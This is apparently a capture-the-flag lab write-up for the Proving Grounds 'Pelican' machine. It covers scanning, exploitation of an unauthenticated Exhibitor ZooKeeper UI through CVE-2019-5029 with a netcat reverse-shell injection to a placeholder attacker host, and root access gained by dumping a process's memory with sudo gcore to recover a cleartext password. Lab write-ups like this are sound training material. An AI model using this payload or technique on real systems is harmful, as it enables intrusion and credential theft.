Pelican Writeup - Proving Grounds
Last updated May 10, 2026 • 3 min read
Discovery
The scan returns nine open TCP ports. Key services: SSH on 22 and 2222, Samba on 139/445, CUPS on 631, Zookeeper on 2181, and two HTTP services on 8080 (Jetty) and 8081 (nginx). Java RMI is also exposed on 46295.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 139/tcp open netbios-ssn Samba smbd 3.X - 4.X 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian 631/tcp open ipp CUPS 2.2 2181/tcp open zookeeper Zookeeper 3.4.6-1569965 2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 8080/tcp open http Jetty 1.0 8081/tcp open http nginx 1.14.2 |_http-title: Did not follow redirect to http://192.168.237.98:8080/exhibitor/v1/ui/index.html 46295/tcp open java-rmi Java RMI
Enumeration
The nginx redirect on 8081 points directly to http://$TARGET_IP:8080/exhibitor/v1/ui/index.html — the Exhibitor web UI for managing ZooKeeper. The interface runs version 1.0 and requires no authentication.
SMB null auth is available but shares only contain printer drivers and an IPC share. No useful files.
Exhibitor is the interesting target. The Config editor allows setting a java.env script field which gets executed as a shell command when ZooKeeper restarts. This is CVE-2019-5029 — a command injection in the javaEnvironment configuration field, present in all versions from 1.0.9 through 1.7.1.
Exhibitor Web UI 1.7.1 - Remote Code Execution | java/webapps/48654.txt
Initial Access
In the Exhibitor Config editor, the java.env script field accepts shell syntax. Injecting a reverse shell payload inside $() causes it to execute when ZooKeeper is restarted via the UI. The payload goes into the java.env script box, appended after the existing Java options line:
export JAVA_OPTS="-Xms1000m -Xmx1000m" $(/bin/nc -e /bin/sh $ATTACKER_IP $ATTACKER_PORT &)
Save the config and click Commit in the Exhibitor UI to apply and restart ZooKeeper. Set up the listener before committing:
connect to [192.168.45.192] from (UNKNOWN) [192.168.237.98] 39152 whoami charles
Privilege Escalation
Check sudo permissions for charles:
User charles may run the following commands on pelican:
(ALL) NOPASSWD: /usr/bin/gcore
gcore generates a memory core dump of a running process. Core dumps often contain sensitive data — open file contents, environment variables, and cleartext credentials. The goal is to find a root-owned process that might hold credentials.
List all root processes and look for something interesting:
root 490 0.0 0.0 2276 72 ? Ss 11:05 0:00 /usr/bin/password-store <snip>
PID 490 is running /usr/bin/password-store as root — a strong candidate. Dump its memory and search the output for strings:
Saved corefile core.490 001 Password: root: $ROOT_PASSWORD
The core dump contains the root password in cleartext. Switch to root:
Password: root@pelican:/opt/zookeeper#
Root shell obtained.
References
-
EDB-48654 — Exhibitor Web UI 1.7.1 Remote Code Execution (CVE-2019-5029)www.exploit-db.com/exploits/48654 (opens in new tab)
Command injection via the javaEnvironment field in Exhibitor's Config editor
-
Exhibitor — GitHubgithub.com/soabase/exhibitor (opens in new tab)
Exhibitor source repository — ZooKeeper management UI
-
GTFOBins — gcoregtfobins.github.io/gtfobins/gcore (opens in new tab)
gcore sudo abuse — dump process memory to extract sensitive data